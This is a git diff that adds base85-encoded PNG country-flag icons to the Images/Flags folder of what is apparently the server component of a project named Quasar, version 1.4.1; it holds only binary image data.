0000000000000000000000000000000000000000..74ed29d92616c86757d3c0ec04378301c8f591b4 GIT binary patch literal 643 zcmV-}0(||6P)ocPy#thD++(+#W%SS0Qvp^`1%0+_yGC)0QUL-|M&m^ z`T_tk0M7pe&iDc7fh@K74M*k&0{8f*88BG;;GY6ve?;&4{{Q>_{{8&^`u+g@|Ns5} z|C?Nv0*Gb#mu+n4z6ZW~#qjy_|6ji&ZeIEMk16oyzH)i@Pk$MNxLARR?a#kwpMS72 zF)}cG2M8dRUN*~81wCz%$A2$f`_IL|A|w6j^RHtc7{2`lYG-KkQ{(*knSqh%3kzr7 zs%s1kKL7#%F#yj00-^B^D;pD^^AqC)4C(?1m>@q26ceiU4*2{4`u_d~@vQ*ykp&A1 z3h$o${r~^~`vQo?Pm-bY@cm79zVQG5%l!B6)Riap%L`bGemnT<@2|iAfl64!%YWS~ z`p0YY_dig_cYpw5WYAmG*lPLk!;jy8|NZ#~MF0Q%{rCG1ko^Di`(Fhkd3F{?py0c9Vg{{gA~^#>F<|Nj5KapBR^@Bf~CXSi|t;lF=C z8-4)<5DUX^V9+rDCI3RuUy#}V{s46X!}R~}@4ug&fA|+@;n!b(1zCZ900KKMX({{sIILBZE*UQbc|SngJt$+`m9Kz!<;5 dBm+Qz0RWL%NC2%sdjkLf002ovPDHLkV1lARHI@JX literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/al.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/al.png new file mode 100755 index 0000000000000000000000000000000000000000..92354cb6e257be2cade71cb825027ce8d9efc06d GIT binary patch literal 600 zcmV-e0;m0nP)PbXFRCwBA zyv)hK@{fUmi2(>${xJOc&A`II@PmN?BKC`c;SU)710$d~Kmf4-r6niy16BY3`}g0! ze=L9h&Uybegp-Ns@87v^zGQMU|NZla@z1Y+zkdVKmFbHB0*HkH4F0@)&iwE1;&GRLuzkX(OGXMMa``@o$|Ni_2x(y(Jn3#TnHT?el|IhC;U%pHK`}6Df z@2@|9J^lXU=Z~KvfBzi*^!4A*U;lv`e*Fge3Lt=(82$q_`~m9z|ND;$!(WEqze~6o ze}X|JFO$H(U+VvX#{c{avi3L7@c;n?3L&6l7=Hix`}emN<6i~#|7+iUWBL8-&##}m zKKx5zXJr5LA80nvkwCM6egFs{po9Y?& zL6B;olm7ns#=rm&Kp-3b{RIXY(1{??Ha=$NKfkS+|9@us$Mfg+93j@fzkY#y2y!;i z&kO(o1PWH5>zPHwn7|>;0Mz;WPl13iP!Y(WKYy4&4hBXMSPugOKmaiw2gk!dq!|4J mj$lZE0R~eis zC&uN{cDQ8`!@ZNLOqwtoG6nhzPx}SV-d6yzFfcIz75{(rngJyDkKrFw8iaoThHCr$ zo8k9wMhS^O3=9AP!~%5B|9}4(ASQtkLN$m1CV&5705X362095KfLKJhW;OjWdGY7l zzrX*$DuLu*pcFC#NdEr)SL!$SY=)lz0mSm_*B_u)|AM4JP)(}33zy1Lc&_o7? zKL7y)bkd){fBym<_v`mxpbeRs`+WRVot-5A{r$IX$CJFg13u{3eX_{0R++j zR}GCkSy{&4zk!krKoTg(2n-k?g31B}5JW!NMq0d0000q< zM7LZb@rX?|r)2RP-+aO3(7q?c3+$-Vv0E)PxM3SDV%@s`#GkZvw_x^WBa~uq3^l}t zWdf(j(=(>^SgETc#5#EZT(4ObRkfxbzP9G;yza0;Ygc8-_*?EP(ca#`l6-Z6D0{tL zQ4|~MCSi!9Q9YkW=V$ix#EqZ!rc?eWA0TwdVID+3aqrYUXUhCI)Ad5!(cP!BhhW$Ayb2&r8kK!bz*2`~UE W(Ndrek0Jg50000NL7TW{{R0! zJP>i}(MpzaSkj z=eqvqa`^|6{{QbQRQ11q3~Vg_kG}Z}5I`(hw}ncX8D4$|h64jUK>or*=^r$dfI%n0 z$3MKz;!F0w91GjkkV%_X`@4 wKR^hm`X5LwD9*v?4;TUC6Bz$&3;+QJ0QLcJ=WT{TU;qFB07*qoM6N<$f>3bX%K!iX literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/as.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/as.png new file mode 100755 index 0000000000000000000000000000000000000000..32f30e4ce4eedd22d4f09c4f3a46c52dd064f113 GIT binary patch literal 647 zcmV;20(kw2P);Rmc0RI30 z|Nj5|{Q>>`0R8>{{QLs@`vM01^D6+%Ap+Y10Qw3Sr3ED)s=c}b05Jg0{{#dC0RR60 z)z$y}`~dv>0Q&p?0Q>ne0Khr|#}EMN1`-ttJvaFq6VTDg`OMJS*4F}vg#m0fQ1$QM z42u6QTCg3Kt8+Li1J#Y_zUd>4Lw{URe1tEjLbKmY(S0M7pd(g2qsJ0|z;{R`~d z`n<6E*3bb41p*Zr{{R344LkeqyaMyV01O!W0PZ0+TjlEQ0st`p&i?@b0Q{Gi0m{n% z`T6-B``1JQx+4kM0{rp_FfRy7P6Qq%_1|&<`|JPx`Uew8u)+%h2+ zdiAI7xt}_}e|$CmbI9$2>u h*D)|iF)#oG7yty8`q2#I8zBGy002ovPDHLkV1j5VEF}N{ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/at.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/at.png new file mode 100755 index 0000000000000000000000000000000000000000..0f15f34f2883c4b4360fc871d7105309f1533282 GIT binary patch literal 403 zcmV;E0c`$>P)@|4`Xj5kLT%`al?B=W5I`&prl$WjwHQRjfmQ&G0jUOA z@&|Dug_Rm`2Y251|$~)1M2@@6mI}!8O6olw6y^Q z5X--d7nzS8`+x5q12kBmVFD!~j6c5_fMKno0(1^Q0I>i=is|LjXX40RRttS6cG0UZ?;7002ovPDHLkV1fxUnjZiF literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/au.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/au.png new file mode 100755 index 0000000000000000000000000000000000000000..a01389a745d51e16b01a9dc0a707572564a17625 GIT binary patch literal 673 zcmV;S0$%-zP)>fJ3En$GhGS>sbE%%m3$AD)q?8M9y>88-}kR7#RKlk!P~Y_PLuF7~U~3`~nC7 zF#yj00ZUDdpLsm{7ajP|&HwoK0Usg|6%f4L_{`Mi{rvv-`ukf=Ed&Gs-sA7L!Q7*a zj{*QO0M7pb%?Sw^g@yy{>ihEY{`vU@3=8@G0rvO$i3mOL`~mv-`W+b$Mmr&io5dg< z5v!7q0*L95jt`TzK8Kd(Utv)OSp_aLv){6ccV+Z`{Q2+asKUU&aO3`Kpz6wW8wp`< z28M3{0mSqnB#A*-c*8%1=RD#sSOwMznKA3=e&iEzwo{cA=PgXK`2OQ}gqId83!|%* zA_Kz@fB*n70M7pdECCwp4H&@R`1|(w-}M5x*74i)0}%fAt;XafA{48))#>Z>?CD#}*e}Ret0tl$#*RMZ7}Jl7Z|M45`5*URzH9L z{rmSnPy;{!u>dsyO%meg+00000NkvXX Hu0mjfN{&}S literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/aw.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/aw.png new file mode 100755 index 0000000000000000000000000000000000000000..a3579c2d621069c8128d7cf16440d5e45a3ab3cd GIT binary patch literal 524 zcmV+n0`vWeP)^}0h@W9fA9JOn#opKkr#VO<{LPm{QLg}EdH3Vb1Zzpp zqiZ+XNBm%5{`ViKi{bCTe}Dh~2a+HyfB%6Q|9}7eKVjxEfB<6Q<6r}-{{7;G=hB{; zLB+p+|Ni^;|DXT={s75;AoBO$f4@PDf8sps4FCQC1Q64wUw^h*hy4HZXO3U)@85qw zD*pci8U|DWQu_BVi2MUWKoOv;00M{w=;|*lY_o%kegGx^{`&*A{SSok_usF-P)oof z|A86+0*K|;FQAM6fB*FtoEI&bZG5mq328#as{}<$F zWDQ{Ffz1MH001phxCBNdC_2H6U$AI~GQbEJqg*Ti0R{kQ(yH?TRrCY^ O0000^@RCwBA zRL|V|7QjV)*ul;Rlceqc6W0{`~_8AeMg& z|LUXE8U8c=`}dziv6P|mEu%JjM}pqh@65md|Ni~w->=_)fBgZXe?Nc!ot?WGAOHX{ z0M7pe`uG9>{{ZXo`u+d?{`u+u=j#9V2j%Sc^797z|N8p+{rLO+`TP9&`u!FW2mk>3 z0#G;xDFDDQ2vg|)-@5Zw?JVTrAxNs~5&|AZ;5uWfQ`vUsMGm`>aGWoI7=P|oW>%~E z|Kk8dq@aG@HzdsB>fj@shYzX-a%=q<(frSYmfLIv5{HbzQ${~M_P_y6C&m>3uU0*DFd0+8#0#Gk)^|NLQBRAyCBeB9H+Wn{=Mr@*PJ_ZKV< zB>w@GFfafF5Ks>TBP0ZV{bBt5_ve*sKkwd`OiO#eX6=u=cfX!E#rX3NBT(umNC7Yu z0Ro8S7X#4ce?Xr63$phg)Bk64X8r&5``_O`AFf^jc>p5y?+^38KVKLa00M}`wU!~x z=I_1Fe}Df4D*yZI@1I|PfBgnRptt`0`2{iqMpRNPo|?TW>MPOFW(r1_!xlT-yep5|G*@e%^SFxf#DC32@n7=0M7pe00011 zNe=7o{FIuhzQ(sjF~t7>`T+s_0sj00{`>*}`~Uy^|Ni?^Z7Tcx|FW0O0tlpm;s5{T z+df{s^E1rDZN;v4VP>0|8GkY`{`&t1s2YfV{r~st=KUYCl59Xr00M{!Xv@F<41fPH zoWA^R$>xvtF5yd$xc~X{7o-}f=ig7DY9RXc``_>1K-c{N2q2&ahQEIq{`~z1RCDs; zw*~7zIJ!sAKj8J}&!7K)enC|K{|nUc|Mwq|27mwp*#K1f8;Jh=2byv8+}GKw-@AGz z%-rMu^XK3HKtBLA{Qvdq*I%FsKn(x^1k&&qY(LP_Uw?q)|3jz0PF?=a(?4bU?qHzN z5I+E=z&88?2q2IKpz*){`~&I%+VJc5-=Dw#?LYB#!lHLRL7BZ8-NZ5x*TXaKmf6TZ20qEQj`^F;~x-W z05U+*fBxNj@_W(7kJ(ujGnWgh$g%(Z2hso#K#U9wI~hQ+`3Dk_7z`j1tL#*2FTcgW f@C+EF009O7>dRn2w6d?H00000NkvXXu0mjfueTzu literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bb.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bb.png new file mode 100755 index 0000000000000000000000000000000000000000..0df19c71d20d7fdc06e1cba01028983439b2bdae GIT binary patch literal 585 zcmV-P0=E5$P) zj51&U|NhG$_=oZTA7 z0mJ{l|Ns2{|Nr-Y#^3*c{=WU_!>_-;fvROCxPdkR1P~M0Xa=C_KR`47{sXG+pY!Yf zqu=)*{%)W0>;M0szkdJy_507SKYxDz`3KYh5I`&-cY{^``2$3Z|NsB`^ZWO@y}$qd z{r%_nFQBC$4Is{6hz5WF0@(mI8^j0N`~Tl>LzQ1Ye}a&q>MtPo*RQ`|OMu4x1!@2Y zAfSdne}TsT{`c$8-(P?J0c~)w`~?J`zx?#Dg*yp^z&88=2q2IKpt(TRKniTbum8-y z1bBWi0e#F0wgIH{FVJ|Pxj-8L0tgsNfByUdJMs7b-@h3^8h-!E3i%CU{QCW$1*GB6 ze~`2PfHeF82q2&aU>N+96yg32bmdP5238q{|Gydk0=52OVEN6!@<&OA7Z~7wL16>b z@DCt>7#SFn85mf=5eY;LZ#OUe_l@D-2Zn#Y82<4v{9|E|jkRQ8_`$&N0jL_N03g5s XX0T^_9W~6o00000NkvXXu0mjfXpthO literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bd.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bd.png new file mode 100755 index 0000000000000000000000000000000000000000..076a8bf87c0cedcce47099c6b74b59f2c9d1dbce GIT binary patch literal 504 zcmVCcfPV}OzZe+)fYC1)`hmpw%>WR9L@~Dk00x0r!@5ksR;+hV0>ZLfIcBS@orh;x zv}95za5W)x_7^}bV3YqpdH?h;NZnuSC%?V#{+0gl`~RQckJx{&l>NO~;@7XgzkdJz zEh{VwR0LSuiyWGR{aKQ z00-R5+27mwp+3@G@Um)kt zzdstU{yWl9SIB_0ft3II3)BD*KrA2|{``^Tm;4PDy`=a1tTre>fEI#8 u{{2z<2NVVaum*qtVq}m+iAaI~Aiw~?reC_kVQV=60000gsB+3J~Dn`pdxgmx19A{hgns>oXkhsL8>j&wfIu2Rsv+R_ zAB5T1GyoL?1Q1BWpFe+p|Nf1n;TJ-~Kd@?uhChFRHUI<=#0HS!U%!8$YJib28yLY( z0tg_G2B7i3e*FSj@aq@44gY_`jRywQ69xu=0D?FP=vyd&x*M*V6|CV8P{Uu4OBfgc z0tjNmA4y3`us8lPG6H?}8%zRafgb(Cp!5f*6oP{xAq} rF#LPR@IoIX4%E%Yz;K6w0U*EtuUcjA`-_J300000NkvXXu0mjf+>pV; literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bf.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bf.png new file mode 100755 index 0000000000000000000000000000000000000000..ab5ce8fe1237a18d6809a5570024eb108cb14a3e GIT binary patch literal 497 zcmV@|4`Xj5kLT%`al?B=W5I`(ov;U*021-Lr1*!W5(gW7O z@cTDV13&<=05Ky_HBiN$KMcQt819e>gHP`g_|Np;&&;0(C^$RHS>olZ*Q41X9v27}ar6#W9}0h{^{OajIK0?h(y z_zOe~zZd`lhy{p$|NA4!EeST}?;nUxkP49VfMx;1;V%&U|N9rH;SU2q05LM8GXV8K n(H~UyA0);fa6B_H00bBSQ>$p&WfB*UmB!B(-`wPhZ^#?@C^U5EbbPyl_g=3Hc01Sh${{P9=HB%4| z34*<3-m=C?^;L%miR{xQv2*hU;8+Y&0Dxf-W~KjsusWFAC4@j0#9_j;X5z6SjRhH> zd}sd(7FPhVFdSi!*Zj@;_Sc`kfByUdk|3A-`STmZ_yb~qxIp9o{E-p)bLt=iKmf7) z+|Ix(`{&<1pm88mK&}8g1WG~}e||Ik`OB#Cw~m1UAb?na(Zlrn4}+v6P!1@{@CT$5 z&-#|8y{IY2iKmf5omHz(^qAp)ym^JhN+jk7Vet{H$(Z8=>|AV=V zva&!M00M{!p&AHub^kXuF^G#pRQ&(-8^nMkpk@XJfB<6o_wOIv5C1P;X6Wwu|KUB< zc%X*g2-OTg#J~U$KumBafq;(A|A`a+OH08N{X($;=pP0KfB<5Fs|GR7oM!0i{{QYB zSm|$=!=N@Wf}I2qKuka<{f7YtBjf)QCj1u{`~UM7nrdKh0c`*VF+c!8{Q&j%sZ;-Z zd;dRshENS5{{S`og~Sg)05QIL^-54s5b7kL(8GuS8yfz9{>%Ui`+q-vfW*P*^_43C z0mK4S`s2qBh&}(NP5W0_$$%QQ@R)`GfB*vkck5Jby^kNv00000NkvXXu0mjfy0pt~ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bi.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bi.png new file mode 100755 index 0000000000000000000000000000000000000000..5cc2e30cfc47452d5bef949628e955a522d59e50 GIT binary patch literal 675 zcmV;U0$lxxP)$wbBBJ zMTk#;k4<3e#ePFE;{?TciOx=-NpIdg`t|#dcz^$YFqm+of7AU<7UGr+0t^5F#PsJM z(2)${Jd)SmT+KY5@!|h>po)L5-!r~>3uJux|0`&Jz~QGy6a*CiGyVtq1|Wc#zWw|0 z_y6C2|NnAvaR2)A>-NX%|3Ci{R?!hvH~jzU``ypCK7Rkq&&~h)FDNvCApj5nF#yj0 z0_X_*{{Q{_|NQXv@Av-qBMmR$teo!O*6-%u-J+8r3n~2s`s?uP{Qmp>{`~+900M{! zNC9;}eE(3IS9-C{62AZc<>Jx>%af}0@?r&05Jg0 z{{#T;0Os`NWh`ko4>SM%|Kw(60099Kad7|t0qcf^`tR-^sIP`Fhru7lkI#w#>Hq?W zkzqQ+@08y_|9v}t;{CEE%)%nTc=-MC@P)7S@!~g$((Ud|+28Q224FCZIGXF0FQ1zcbfB*dX_lJRr z;s3wCNa|2D02KoSAbE^!0Dxf-mZ69ApkCb5fP^9ydGO$cm6w`kGj(t#`M{tFlLo%j z*4%mm2&CaJSn02SzkrtfWBLcO;r%bLy5Gnoqrh)qC;VKmZT`F#yj00W%wG zw4zx17##T6*Z=hN0Tvey7!|wG?K;V)0{r{_`}_X<{Qmp<|NQ*_`}@YSvI2-@&cAgG z*R?p0?_>V(@&EVlEP?{x|1esA`||VNU68t8zyJRJ_3zg&hTp&0WMzR?0R#}s1|E|% zRV}tRkH6o2#3;(nsVMXI-pgBmh17ms`TzTu!pfBl%*_9R;OEbWDJei#0R#}sGpDd$ z96Spi@~bn7G5z{~^_!ZLy2#s;5B~o8&G`G*|6f0Ap0WS=_rFd2C(ubi4FCZEF#yj0 z1a!1=2e0}MwgDi3SU@2S4mePl{012eQ4J-3 z|Mm`933BS6zyJRJ1;ztF0D(08|NVzmQWB*4&)@%$um=Y`lmy1W-@hDx{{qQh3=9AP x#JH7#;TJ3-|G=X54_FW_j)5c_0|P*S0RT0dOSD~(4;cUe002ovPDHLkV1hfJDkcB` literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bn.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bn.png new file mode 100755 index 0000000000000000000000000000000000000000..8fb09849e9b5712e9cdd8a2c25035da201535cf5 GIT binary patch literal 639 zcmV-_0)YLAP)8n_8%|dG+hlCr-g% z|9<~wU<9iE{r}%DMphZ1Jpcj3%*DZBWo-@72DFWlk(-gj@!ngb-$#D&C_i9e{QvLY zw|{?r|NHlgiHY~?^IHG`05Jg0{{(k=dF}7->+9=cXlNG}79t%T{rC3_t(pA#`tSX# z4jKOh|NsB|;rr`({{a5__y7Wk5omBxQSrlv5B>nb??0VZ8qCZrpS+?}gatn>o%-+B zPl=+||6st##PspQ2Y>)#{Cu5(QJ~_^?faD-pMV;E|7MwLubjQ@B-gLso$mVYgECpU zxpfp2fEt*XnBKpC4-fz`0M7pb@zVeZ8g>5r-~k2r`Sbhd;{WmN02I(80QmHEv)Ik{ z>H7Nm`}_MdF)?FhWi>T50*LYBMFw`s0-y$le?J(QfB$Fr_2c8e-`_!j`0PG|ckZ*_ zzkY$-`sc5Tips@{7Xbo@1sGC5IYwrQfB%2{|MTZR!ygX*-%McG4cZmTY ZzyK0(F$K@T-Dv;-002ovPDHLkV1la=J3;^e literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bo.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bo.png new file mode 100755 index 0000000000000000000000000000000000000000..ce7ba522aa7e948d581478432643c230eed1a658 GIT binary patch literal 500 zcmV^3LvnC{|x`%yaFl$ss8ha0V@6XKS=c-5cwO(_{}IL0ki=i zfLOjo{AE-9^-mn=h(G`Tfz|!{{r?|W+uz?{^yeR#!Nm9NlRN`J0I_^YV&Ikj@%Q)F z|Ns9m{0FN3^Z!3k!*8HnFvf4N5xas50L!z?-wXsAPk7$ ze<1l+iQ((fPYeJ7#KQ200VpKFA^{3Nph^G!{9^b86oDW}(Ek1R7ZiL9e}Ret0*H}e qBRB&8AR!3%7c6cef(%d+Aiw~vBYd|xMihYn0000j-HAXl7XJGjM{~r+i{r~sxzrQwG-&h#_Y&p;L z=ieV7_s^f-zyJOD{rC5(+EoAn1k&)I;s3Kw&;LT?{{2}P{Pq8T&j0^^J4?LvUd;UK z&+k8ffB*XXONL(tXahh1fi?X94^$0Q>Z$uRRO)Y4)uapmB!2(-ul(c1=C+V!kAF`) z$PCo;`_FHns{jIs3Fu;wy-Z(c2YwAz{&V4aXk?bejFO*Op&u`@i~PecqBpL@DIoojb8mb+WHGK%fG2>)a3=iVf_~v+`s?*1;!`?Kmai^I3i*ZIYtpN f{g(k500bBS@Ns{bTs^2gCr95H^s6Fo1}O2_S$Nfl}4;<}o-r{^R8Q_xtzX z|Nnu?|Ni^;2gm@D3=F@4EC#P1& zzuV{ie)#0qf2Lnh)j(~3VeG$ufPMl9Aczeh3x56n#l!R`HRQLfpFjVwfkN;%I39k( zVgne^e?jDThF>oL0*Hk{T6(^^8pGqq44*zhqZ1OZzkZ>_F(mFeH~<0+0A4S6=>Lb* QN&o-=07*qoM6N<$f&=*Yr2qf` literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bt.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bt.png new file mode 100755 index 0000000000000000000000000000000000000000..1d512dfff42db1ea3e7c59fa7dd69319e789ee12 GIT binary patch literal 631 zcmV--0*L*IP)?&DC3JV7l?ccjcgB=Qq4l4w|Q;eOZ4z|IjsEI`#PYSloM|AFHF zfy)2>XZQ=$@t;lU|F1tRzpnmg{PUOLH{-8A|F{4CvUU?d0I>k|0TuuM^_1cNUy$nm zzZn?*{^!*ACzSEy$NyhHzB0Wn`TXRU=!%=n%Ci4h82|!^32gR%glZtk^6USnb00o@ z{`LDW>%U)&BK_|-y-75RkKVi&O=|xC<=6keK+72b0*D2q;Xlai|Ns9mF#h@fM(h;aV>^!x1-zNu02XV-n@ zm3imZ@&EI0hChG)|NZlafdL?Zn1I0yH26P<=DUx29QQsc%}izF;QV-S-hYOl|1V4z zX|a-<=Kf#g*Z)7i{{y|szyJ_HEKEEM|C#>$KmJzoZa)M2-~Wm-e7Cl+vi)L|kY`}} z&A$F20RV*|BkB*O Rz6SsR002ovPDHLkV1m;fPLlut literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/bv.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/bv.png new file mode 100755 index 0000000000000000000000000000000000000000..160b6b5b79db15e623fa55e5774e5d160b933180 GIT binary patch literal 512 zcmV+b0{{JqP)O=a{vExMP2%`MCSoB^FIcLe_%lf;|~%E5I`(IQNh}3Ao>6Q|DFUXMn*>AqQd`w z|1kXd^B;tM|Njjl{{hM0zwd6?1Q0+hV1xeud-4=Wy?p-%sO`^#2S61Jzk!N?s)6X& zzhA%p|N6}=D+{y%Ab`Lc{sL9~1=0UN4*CD*7s%9KAf+JHKs~=eB-8KTKvw|-5R1&; zzd&a|ob(5%^Z$Q=wHy9p13+aOpFRNu5F>N&`Tk_-7w>=n{RejQzkfh&Kn{rf10?_b z{tFTZibx5v&dxav5I~H7|Ney-|DWN1$%1FyagzUW0464;_wU~W1Q5$TW@eGxtUvee z3vAf*8|igK9~@*rr66bh|NrkNM8z+V zAV?>O@ek;bKfu6d00k6 zPW&$KB`I@TtA?2x@Q~7pdcWi#1>DDZ2>MuG0I@IumHuaV^&7|soAMvT0IK){RtF@1 zgH;3B;_Qq-34j1%{P^)BFE1~|NkA(gBv!!4$aw$$eSiRB1ga=2D|__l(H|iA4T2Ex z>lc`SQ9x2&UjE?0g8%`<0`lvhzd$}*14J4{IhY2@0~G@V5J82%q9;EBlXu0U&@_82I`BfBC|Yn~P8llm?myQ3_K18=`^X_ivyEfB<6p_xd%%#*GZ! z-C&_V5IGPDK|g;X*gypg3;+Sd!XPTj0Q7fK5>&$Y{sHB| zjK9DB00sa3QR4q|tc?L6fSCSm+3>HW`NxbYpP7GsX8sK%KS9yYPfWi)GJ)AFzdp14 z{>t>1fsFwmfLQ*Ci!yxq#8guv=_mQ;-(Rp{AoSPbXFRCwBA z{KboB21 z`ppP*BG3|`!vO*asNvt=e_;3gWsp&PA@E<2jYs6ilRy6-zmSku5?~OOP=5aV@4sI_ zSN#QP00zQ!JD>SpAKYgR_QStF|9~F;2M|Ck zz%U1e+FyoWe;B_0VVclq;}vp_kNy3hKMWrj7*{kqJbMcaQ;_Pve;I)x1Q0+h46j}> zeiN4E1lkA+>|e|*mzJsW^M3)l^W_^hf&c&c`Mv->`48yHFF-%s0|+3-*GLfwiRNz% m3}3(u4lrUsie?}H2rvLBbQv(L;??y40000e`b1WGV} ze#gbd^&bp=ef-GykAYc$@BhDltSqdeSy?RXJpcawy+5fJAb?mHcsPJ&{d@EF@4HtJ z)qno||1xd*zaM|Ot4f#|8A1AQ-~Pubz$7IBv;-i4SQvovfB*ge{fFVtAE4aNE7yPi z`^Eg=5yP(^Ur(Q5`TLjM%#`8#_rHuB|9}1hItd_vSpNO`#qjs<|KGp=|NIHm@MXqK z79K7}ZvOwQ9Df%s{`~lX*xI%KzW-!k{Lc96Cr|@G0I@Lq`0?-epMSr9|NHeD?&umBG}6iH(DSogJte zDERNk_kV0Zng09%Itd_vSb&=T{rt@+B*66dJ0my{fpNkvBm!jpV_;xnVgd@XDk?Dx zh=IJyzyJ_HjJJUrz)|>#fr0nRl^;KTz#|yK`2G9$BS%LzureS32rvK^u`=B;c)+&+ O0000d94tALrX!Wj0S6V-v9sr07*qoM6N<$f?*uARsaA1 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/cc.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/cc.png new file mode 100755 index 0000000000000000000000000000000000000000..aed3d3b4e4467c33717ab3e2f61596e06113f9bb GIT binary patch literal 625 zcmV-%0*?KOP)Vbu`-)NXk-Y`p?2$B#e1 z{(buQ`}e;;zyJNd_UF(2w_nb@VUiUP2igD-Kuin_BL6vl`zgIQV*mR8|8G|2U!T7I zn`-)Ow$bxne}9LGfB5z5*XcJ*K(;aeSD>o^0st`p&i@1e@&c~g4N@7~{}B9V!5sbp z`j|K8<@Nq-&kt=P>@pAZ`T7Q#;RiPl^j;kSgdzX}05Jg0{{#R8=f>y-z~LG0`u_d< z{QLg=2?6_k)DH^)`=sFo8YTUi-v;{r`o8J{6Wj>^)c^vB2^cJY|Nnmc_5b@He}DY@ z_51JdufKoSslWR1>-W9)3`r;XfsXn0`_Fc($H!lT!V@5Xn1Igu{qOIuf50&L{qg7D z?|*(LofMGa_%_k-*{}b_0g?9mMSwvE)Bq4bEIr*1})*zF_+U)&LMdEMOb{Nb-vOh6FrNC(tkd{&4;N%g_D$&)>g> z0^hO}m?z%iIsOJ1mka;_#K>R{i_RZNQ42x8VJSe8f#Ern2@qfa%&RHCyvg>Q00000 LNkvXXu0mjf=TkSf literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/cd.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/cd.png new file mode 100755 index 0000000000000000000000000000000000000000..5e489424884d2ec9e429f70d69af00edf242a077 GIT binary patch literal 528 zcmV+r0`L8aP)JkPqeYl28iLgD=0{><0$P44T5yOrT$dE?(KkwMFdoG^-J zGv9P)Kk|i5`lcNgUUAbboca5{hI)v&h!9!~`Yg)Ld}$VwYqqXn@gVLi>3LSVGm1W? z3qnDJAk6chH(u7f~FohUBCxfQDx8?5BQsCcprAnfVhO SHC~zk0000@|NZ~|iEi8i zh~?j3h8^dV0y&$fY|i?}`2XK;hJSzm|G$6#|L@;V)&KqZ3sU;$?>`_ZF38C6g#jRd z7@s_ODJ3Nev=9gw8UKSQhX4P)z5oCE{eQ>y|1j|H-+x9%#`EXT0R#{W1H*5i5@u$g zs{agN2m-%;fixfipeaCQpFe*F2q2cU!)f`}`5%6M06O*WzrTN({{8*;CkCkD_wPBk z=llWket~@P=ieVecEOTuB>(}$vTge|RYlbYUmpDW_v_E!KfnL|{{8n?G|>28zowm@ z_UrGj-+zAtrGTUoztWctUjPD#h2amw@BhDn5OHz(52cFPg zot=T34qlT?57Mzkg5?0ssOG0Ftp>paW8OyZ`_I07*qoM6N<$f+2k} AjsO4v literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/Flags/cg.png b/Quasar-1.4.1/Quasar.Server/Images/Flags/cg.png new file mode 100755 index 0000000000000000000000000000000000000000..a859792ef32a02b41503b5ab5f216191af397e02 GIT binary patch literal 521 zcmV+k0`~ohP)i@P`2b{=v9^Ktp0uZ001fLMSM)r!?%mH+B91 z=ii?+(ckX8zrd=&8g~5t-|*}I50LQ;KzRlRfB=Hn08;wv->)Q*Kc0LLgTdsU-~VfV z{r~#=|1XdRMzE6r0tlo5X#B6gzhXrG`18Y*0!g6iieLY~Kvgqz}`W zLWO>Z3Lv@r7+CdZpiy8Ae}EeP0z(_<2Y>)#Vfe-1#`njMUlORAfdMG=o8iiD#%aG9 z#Q!h|feZ$rzkeYJ=p=vuV)VVru?7U|?FE@Zm|i>fBlzF zc~M_qKf%h=bAcoS;}NE7f8|yFe%B9?;;8%o@BeG_!|(4qhyo=(h-XBmKHXpc{~y!A z`THH3fsDVeudko)ARzm9UL&JI!+~uEM*rBES1=kd6zV%LH0J*N$gIQAc0y}k9qTFv z4h1oVG?rB#zNY^8{QUp5wE>>R#S4NZQd1i@F)*?OF@6y}@zmk^!Gr7L9asuAf!ae1 z{{CbBBH^Az=(+fAb?mHzA!MjRs*H~|NF=I z{~td;@BjZG-hUVsqZ#w(|L@=b|NQ>{d(*K^00G3pzycQk`jp|{UxvSb;p*Vv_V?Sr z{{Q;@@3$6WKrBG#F*5vR z`2XiW&+Xo6{KsbP_-SF+DJF`pL$*;0gaz z7NKVhyo`U;4*0+SK#>rfFFfafF5DUYXKh;r+@n*scPQUy6`!63S zGXn!71H*qtMn-04W+o=4|487=moEST#KiEAA;m(3;Xgy1iO{3BKc9a12~-UM7^Z`) z1qdLZI~bN-c=z}J|D88K{QmR*&tHcBxB*ZDKmf5Ya0q<-!`is-{h$8~f7m(x{QZSX zH3Jv`1P}|uy*o^wIGI2G`1kie)4zYe_&EQ6|NftW0ohon1}3I|Z{7d|5aVBMp0ssVo0Ek~;W>Z#0SJsA+2j`G% zv|UVeYYs-#Sn6_J90h1VosR?LBU7{U1rQ6+R0f9sPrg3=`~UA>#=n0a|7Q67_y6zT 